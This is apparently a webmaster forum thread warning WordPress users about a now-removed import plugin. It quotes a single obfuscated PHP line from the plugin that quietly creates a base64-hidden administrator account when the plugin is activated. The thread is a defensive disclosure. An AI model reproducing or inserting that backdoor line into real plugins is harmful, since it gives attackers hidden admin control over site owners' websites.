Business Warning to all wordpress users using the xxx import plugin

[fris]

I reported it yesterday, and has been since removed from wordpress.org

If any of you used it, please check your users on your system as the plugin does some evil base64 stuff to hide its true intensions.

On plugin activation, it creates an admin account

if(!username_exists($o0)&&!email_exists($a2)){$a3=wp_create_user($o0,$q1,$a2);$o0=new WP_User($a3);$o0->set_role(base64_decode('YWRtaW5pc3RyYXRvcg=='));}}

the person who coded it was amk.network, which i cant find much of this person, so i dont know if they post here.

[GFED]

thanks for the heads up!

[TheDynasty]

Thanks for the heads up

[asianseekerz]

thanks for the info....

[Colmike9]

Why is 'administrator' encoded in set_role? :p

Another reason why you should never use tools/themes/etc for WP that are 'designed' for adult site building.... There's no reason to not use regular WP tools or code it yourself.

[freecartoonporn]

Thanks for the heads up
.

[rogueteens]

never heard of it? What was it? a tube importer?

[john1975]

Probably the CIA again...Wanting ez backdoor access...Realizing most adult webmasters don't have much of a nugget.

[fris]

Originally Posted by rogueteens

never heard of it? What was it? a tube importer?

yes it was/is an importer, but one that has many eval statements, in it, which connects to multiple domains php (not tubes)

[Bladewire]

Thanks for the heads up

[j3rkules]

I do not use it, but thanks for the heads up anyways.

[fris]

if you want an import plugin, use wp-script.com its prob the best one out there.

[PornDiscounts-V]

You'd think wordpress would scan shit for this sort of thing.

[armysmoke]

Thank you for the heads up

[just a punk]

Originally Posted by Colmike7

Another reason why you should never use tools/themes/etc for WP that are 'designed' for adult site building....

Why not? Just make sure you take it from a reliable source.

Originally Posted by fris

if you want an import plugin, use wp-script.com its prob the best one out there.

Can it import XML, JSON and HTML sources of an arbitrary format/structure? ;)

[Colmike9]

Originally Posted by CyberSEO

Why not? Just make sure you take it from a reliable source.

I think my point was that you don't need anything that's "designed for adult". Just use regular tools and themes then add some porn..

[Bladewire]

BUMP

[bns666]

never heard of it anyway, what could it import and from where?

[romeo22]

Thanks for the warning i still use only several plugins ..

[fris]

Originally Posted by vvvvv

You'd think wordpress would scan shit for this sort of thing.

with the plugin directory, they analyze the initial code, so if the code was fine, he could make changes to commit the changes.

with the theme directory its a bit different, each release has to go through the theme review team.

[Bladewire]

Thanks for the heads up